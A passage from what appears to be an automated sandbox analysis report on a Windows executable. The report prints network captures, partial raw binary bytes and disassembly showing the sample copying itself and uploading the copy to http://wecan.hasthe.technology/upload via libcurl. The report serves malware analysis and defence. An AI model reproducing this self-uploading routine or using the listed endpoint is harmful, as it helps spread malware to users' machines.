6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50679	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:17.966568947 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------7f64f605b4f71fd7
Oct 10, 2024 21:03:18.412811041 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:18.413479090 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 66 36 34 66 36 30 35 62 34 66 37 31 66 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------7f64f605b4f71fd7Content-Disposition: form-data; name="file[]"; filename="rifaien2-j3TM965RhhPaWaoT.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:18.413705111 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:18.418633938 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:18.418842077 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:18.418926001 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:18.418937922 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:18.419011116 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:18.419092894 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:18.419111013 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:18.419147015 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:18.719055891 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:18 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YewW%2BuH%2B%2FfUo3D%2BIOuizXPfIdY3avwNAuW2k5ekHOwdktMjltijbrJ45LO%2B75JjU4EtiQRjq5cpg2PJIPXiEX34dIUaSrc34NABtnnLaCgTVBg7XFTzNYiNMtYUjtTn30txQAPEbWZIKNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dea3ebd71760-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Target ID:	0
Start time:	15:01:11
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\Yx1Wz608PO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Yx1Wz608PO.exe"
Imagebase:	0x400000
File size:	84'992 bytes
MD5 hash:	295F29368A4822ED7BABAAC02992CA00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:01:11
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.4%
Total number of Nodes:	1709
Total number of Limit Nodes:	91

Executed Functions

Function 00412CBF Relevance: 119.0, APIs: 17, Strings: 50, Instructions: 1771stringCOMMON

Download Yara Rule

APIs

curl_maprintf.YX1WZ608PO(Referer: %s,?,00000000,00000000), ref: 00412ED5
curl_maprintf.YX1WZ608PO(Accept-Encoding: %s,00000000,?,?), ref: 00412F89
memmove.MSVCRT(00000000,00000001), ref: 00413134
strchr.MSVCRT ref: 0041313E
strchr.MSVCRT ref: 0041314A
curl_maprintf.YX1WZ608PO(Host: %s%s%s,00420160,?,00420160), ref: 004131F0
curl_maprintf.YX1WZ608PO(Host: %s%s%s:%hu,00420160,?,00420160,?), ref: 00413236
strstr.MSVCRT ref: 0041329A
memcpy.MSVCRT(00000000,?,?,00000000), ref: 00413307
memcpy.MSVCRT(00000000,?,?,?,?,00000000), ref: 0041331F
memcpy.MSVCRT(00000000,00000007,00000007,?,?,?,?,?,00000000), ref: 00413340
strstr.MSVCRT ref: 004133CE
curl_msnprintf.YX1WZ608PO(?,00000008,;type=%c,-00000061), ref: 00413456
curl_maprintf.YX1WZ608PO(Range: bytes=%s,?,?,?), ref: 004136D8
curl_maprintf.YX1WZ608PO(Content-Range: bytes 0-%I64d/%I64d,?,?,?,?), ref: 00413758
curl_maprintf.YX1WZ608PO(Content-Range: bytes %s%I64d/%I64d,?,?,?,?,?,?,?), ref: 004137A0
curl_maprintf.YX1WZ608PO(Content-Range: bytes %s/%I64d,?,?,?), ref: 004137CD

Strings

Cookie:, xrefs: 00412F0A
Host: %s%s%s:%hu, xrefs: 00413231
%x, xrefs: 004140C8
Range:, xrefs: 0041369A
Content-Type:, xrefs: 00413483, 00413F98
Accept:, xrefs: 004134BB
Accept-Encoding: %s, xrefs: 00412F84
/, xrefs: 00413434
Could not get Content-Type header line!, xrefs: 00413D4D
ftp://%s:%s@%s, xrefs: 00413856
%s%s, xrefs: 00413B62
Content-Length: 0, xrefs: 00413C2E
Accept-Encoding:, xrefs: 00412F32
Expect:, xrefs: 00413FCA, 00413FE4
%s%s=%s, xrefs: 00413AF8
*, xrefs: 00414371
Failed sending PUT request, xrefs: 00413EE6
Content-Length: %I64d, xrefs: 00413CFF, 00413E58, 00413F7C
ftp://, xrefs: 0041339F
Content-Range: bytes %s%I64d/%I64d, xrefs: 0041379B
Referer: %s, xrefs: 00412ED0
%s , xrefs: 0041381F
Referer:, xrefs: 00412EB4
File already completely uploaded, xrefs: 00413665
Failed sending POST request, xrefs: 00413C6E, 00413DD2
Content-Range:, xrefs: 004136FA
Content-Length:, xrefs: 00413CE4, 00413E3E, 00413F62
Transfer-Encoding:, xrefs: 00412FBB, 00412FD3
Failed sending HTTP POST request, xrefs: 00414270
Chunky upload is not supported by HTTP 1.0, xrefs: 00413044
%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 004139E1
0, xrefs: 0041411E, 004141D8
chunked, xrefs: 00412FCE
Host:, xrefs: 004130A8
Accept: */*, xrefs: 004134CB
Content-Type: application/x-www-form-urlencoded, xrefs: 00413FAE
Failed sending HTTP request, xrefs: 004142F0
Proxy-Connection:, xrefs: 004138AA
Host: %s%s%s, xrefs: 004131EB
Could only read %I64d bytes from the input, xrefs: 004135ED
Internal HTTP POST error!, xrefs: 00413C99
Content-Range: bytes 0-%I64d/%I64d, xrefs: 00413753
Range: bytes=%s, xrefs: 004136D3
;type=%c, xrefs: 0041344E
Could not seek stream, xrefs: 00413571
Cookie: , xrefs: 00413ACA, 00413B3A
;type=, xrefs: 004133C6
Content-Range: bytes %s/%I64d, xrefs: 004137C8
User-Agent:, xrefs: 00412DF6
100-continue, xrefs: 00413FDF

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintf$memcpy$strchrstrstr$curl_msnprintfmemmove
String ID: %s $%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s$%s%s$%s%s=%s$%x$*$/$0$100-continue$;type=$;type=%c$Accept-Encoding:$Accept-Encoding: %s$Accept:$Accept: */*$Chunky upload is not supported by HTTP 1.0$Content-Length:$Content-Length: %I64d$Content-Length: 0$Content-Range:$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Content-Type:$Content-Type: application/x-www-form-urlencoded$Cookie:$Cookie: $Could not get Content-Type header line!$Could not seek stream$Could only read %I64d bytes from the input$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request$File already completely uploaded$Host:$Host: %s%s%s$Host: %s%s%s:%hu$Internal HTTP POST error!$Proxy-Connection:$Range:$Range: bytes=%s$Referer:$Referer: %s$Transfer-Encoding:$User-Agent:$chunked$ftp://$ftp://%s:%s@%s
API String ID: 2570886598-1671177802
Opcode ID: 8db581b4a5c9946d4e15e413afe96408d38cfbe5a92fd2a6dee445c0e6758eaa
Instruction ID: 05769af798ca8da206b419b39194ecd0b0efae4588a99417ee02e114da5dc354
Opcode Fuzzy Hash: 8db581b4a5c9946d4e15e413afe96408d38cfbe5a92fd2a6dee445c0e6758eaa
Instruction Fuzzy Hash: ECE2B570A00308ABEB10DF65CC45BEF7BB5EF44344F14816AE918AB352D7799E91CB98

Function 004013A0 Relevance: 86.0, APIs: 38, Strings: 11, Instructions: 262
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000400,00000000), ref: 004013CE
fopen.MSVCRT ref: 004013DA
fseek.MSVCRT ref: 004013F2
ftell.MSVCRT ref: 004013FA
fseek.MSVCRT ref: 0040140C
malloc.MSVCRT ref: 00401418
fread.MSVCRT ref: 0040142C
fclose.MSVCRT ref: 00401435
time.MSVCRT(00000000,?,?,?,?,?,?,?,00000000,?,?,00000400,00000000), ref: 00401447
srand.MSVCRT ref: 00401457
memcmp.MSVCRT(00000000,0041F108,0000000A,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040147C
puts.MSVCRT ref: 004014AE
puts.MSVCRT ref: 004014BA
Sleep.KERNEL32(00007530), ref: 004014E1
rand.MSVCRT ref: 004014E9
rand.MSVCRT ref: 004014FB
sprintf.MSVCRT ref: 00401529
printf.MSVCRT ref: 00401538
rand.MSVCRT ref: 00401551
fopen.MSVCRT ref: 0040156B
fwrite.MSVCRT ref: 00401591
fclose.MSVCRT ref: 00401599
curl_global_init.YX1WZ608PO(00000001,00000000,?,?,?,?,?,?,?,?,?,?,00000002), ref: 004015B3
sprintf.MSVCRT ref: 004015C5
curl_formadd.YX1WZ608PO(00000000,00000000,00000001,file[],0000000A,?,00000011), ref: 004015E1
curl_formadd.YX1WZ608PO(00000000,00000000,00000001,node,00000004,?,00000011), ref: 004015F7
curl_formadd.YX1WZ608PO(00000000,00000000,00000001,submit,00000004,send,00000011), ref: 00401611
curl_easy_init.YX1WZ608PO ref: 00401619

Part of subcall function 00401EB4: curl_global_init.YX1WZ608PO(00000003,?,?,?,?,?,?,?,?,0040C268), ref: 00401EC8

curl_easy_setopt.YX1WZ608PO(00000000,00002712,http://wecan.hasthe.technology/upload), ref: 00401630
curl_easy_setopt.YX1WZ608PO(00000000,00002728,00000000), ref: 00401641
curl_easy_setopt.YX1WZ608PO(00000000,00000029,00000001), ref: 0040164E
curl_easy_perform.YX1WZ608PO(00000000,00000029,00000001), ref: 00401656
curl_easy_strerror.YX1WZ608PO(00000000), ref: 00401666
fprintf.MSVCRT ref: 0040167A
curl_easy_cleanup.YX1WZ608PO(00000000), ref: 0040168D
curl_formfree.YX1WZ608PO(00000000), ref: 00401696

Part of subcall function 0040200E: free.MSVCRT(?), ref: 00402072
Part of subcall function 0040200E: free.MSVCRT(?), ref: 00402093

_unlink.MSVCRT(?), ref: 004016A5
puts.MSVCRT ref: 004016C4

Strings

node, xrefs: 004015EE
submit, xrefs: 00401608
http://wecan.hasthe.technology/upload, xrefs: 00401625
send, xrefs: 00401601
file[], xrefs: 004015D8
NODE%i, xrefs: 004015BF
ma num wa gyen orn hyzik %s en exec ween NODE%i, xrefs: 00401533
ma num wa rifaien yanje v1.0, xrefs: 004014A9
rifaien2-%s.exe, xrefs: 00401523
curl_easy_perform() failed: %s, xrefs: 0040166F
ma au ga rre gyaje weel, xrefs: 004016BF

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_easy_setoptcurl_formaddputsrand$curl_global_initfclosefopenfreefseeksprintf$FileModuleNameSleep_unlinkcurl_easy_cleanupcurl_easy_initcurl_easy_performcurl_easy_strerrorcurl_formfreefprintffreadftellfwritemallocmemcmpprintfsrandtime
String ID: NODE%i$curl_easy_perform() failed: %s$file[]$http://wecan.hasthe.technology/upload$ma au ga rre gyaje weel$ma num wa gyen orn hyzik %s en exec ween NODE%i$ma num wa rifaien yanje v1.0$node$rifaien2-%s.exe$send$submit
API String ID: 2033630123-4108313939
Opcode ID: c0881b137ae1c8687d59bf08d1bb3caff086f4c432a21ae28b6cbb3e044474c8
Instruction ID: be183b81dd175213284c320c4544f6499e2f1078aaf694eb6cef52fcb164eaa1
Opcode Fuzzy Hash: c0881b137ae1c8687d59bf08d1bb3caff086f4c432a21ae28b6cbb3e044474c8
Instruction Fuzzy Hash: E081E7F1E443106AE720BBB59C83FEB3B689F04348F44043AF905762D3E6BD999542AD

Function 0040E924 Relevance: 42.5, APIs: 18, Strings: 6, Instructions: 459
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040E666: memcpy.MSVCRT(?,?,00000000,?), ref: 0040E6CB

GetLastError.KERNEL32 ref: 0040E992

Strings

Couldn't bind to interface '%s', xrefs: 0040EC6B
Couldn't bind to '%s', xrefs: 0040ED47
getsockname() failed with errno %d: %s, xrefs: 0040EDFE
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0040E9A9
bind failed with errno %d: %s, xrefs: 0040EE7A
*, xrefs: 0040EAEF

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLastmemcpy
String ID: *$Couldn't bind to '%s'$Couldn't bind to interface '%s'$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 2523627151-911213130
Opcode ID: cd9cf8ac0d3317d572ce3e034803704d0bdc97013ad62440800abf41e3bb9623
Instruction ID: 6456bb2da2bf690711a0a6d130e1a66436f7554edbf4ab1a6a90443700004a55
Opcode Fuzzy Hash: cd9cf8ac0d3317d572ce3e034803704d0bdc97013ad62440800abf41e3bb9623
Instruction Fuzzy Hash: 0502E2B190021AAFEB219B51CC45BFEB778EF44304F1005FAF40876291E6795FA18FA9

Function 0040101C Relevance: 13.6, APIs: 9, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(00401150), ref: 0040102C
__getmainargs.MSVCRT ref: 00401061
__p__fmode.MSVCRT ref: 00401072
__p__environ.MSVCRT ref: 0040108C
_cexit.MSVCRT ref: 004010A9
ExitProcess.KERNEL32(?,?,?,759E4600), ref: 004010B1
_setmode.MSVCRT ref: 004010C8
_setmode.MSVCRT ref: 004010E1
_setmode.MSVCRT ref: 004010FA

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 61e83a3fde78cc52e50f4bd73bcf5522c75b09be85ef84e08b06a586436b9539
Instruction ID: 8b5fedc3aa746eed23ab5f53fe0f470b6bf6631df42a9a0dcf3590dfcf9246b4
Opcode Fuzzy Hash: 61e83a3fde78cc52e50f4bd73bcf5522c75b09be85ef84e08b06a586436b9539
Instruction Fuzzy Hash: FB216BF5E101146BD714FFB9DCC2D6777ACAB08308740412AF914D7296D67CA9404B7D

Function 00401020 Relevance: 13.6, APIs: 9, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(00401150), ref: 0040102C
__getmainargs.MSVCRT ref: 00401061
__p__fmode.MSVCRT ref: 00401072
__p__environ.MSVCRT ref: 0040108C
_cexit.MSVCRT ref: 004010A9
ExitProcess.KERNEL32(?,?,?,759E4600), ref: 004010B1
_setmode.MSVCRT ref: 004010C8
_setmode.MSVCRT ref: 004010E1
_setmode.MSVCRT ref: 004010FA

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: f39c1caf0a7799b7bee2dd5223933290934a349bfadbeaad2dec981da6b97fe0
Instruction ID: e1a3102252815f178b836760660fb725b1fc58dc4607daa588f518206ce2d347
Opcode Fuzzy Hash: f39c1caf0a7799b7bee2dd5223933290934a349bfadbeaad2dec981da6b97fe0
Instruction Fuzzy Hash: 5A2148F5E101146BD714FBBADCC2E6B77ACAB48308740412AF914D7296E67CA9804B7D

Function 0040E460 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 0040E481
WSAGetLastError.WS2_32(?,00000000,?,00000000), ref: 0040E492

Strings

Recv failure: %s, xrefs: 0040E4B5

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLastrecv
String ID: Recv failure: %s
API String ID: 2514157807-4276829032
Opcode ID: 2138d7b044c9d44cae6a2f47d66dd4accd8a581e0700000e36536f0a2983a661
Instruction ID: cbffce7447104e092ff9bae703df6abfbad395be4eab3e8942b86c4c43ed1ffc
Opcode Fuzzy Hash: 2138d7b044c9d44cae6a2f47d66dd4accd8a581e0700000e36536f0a2983a661
Instruction Fuzzy Hash: 0B01F27140020AAFDB00AF86DC41AEF7B6CEF04354F00083AF90467241E37A9D318BD8

Function 004067EB Relevance: 97.4, APIs: 36, Strings: 19, Instructions: 1167stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C374: GetTickCount.KERNEL32 ref: 0040C379

malloc.MSVCRT(?), ref: 00406B73
sscanf.MSVCRT ref: 00406C72
memmove.MSVCRT(?,?), ref: 00406CC6
strchr.MSVCRT ref: 00406CE2
memmove.MSVCRT(?,00000001,?,00000000), ref: 00406D12
sscanf.MSVCRT ref: 00406D58
sscanf.MSVCRT ref: 00406D8B
strchr.MSVCRT ref: 00406EBD
strchr.MSVCRT ref: 00406ECF
strchr.MSVCRT ref: 00406EDB
memmove.MSVCRT(?,?), ref: 00406F26
memcpy.MSVCRT(?,00000000), ref: 00406F39
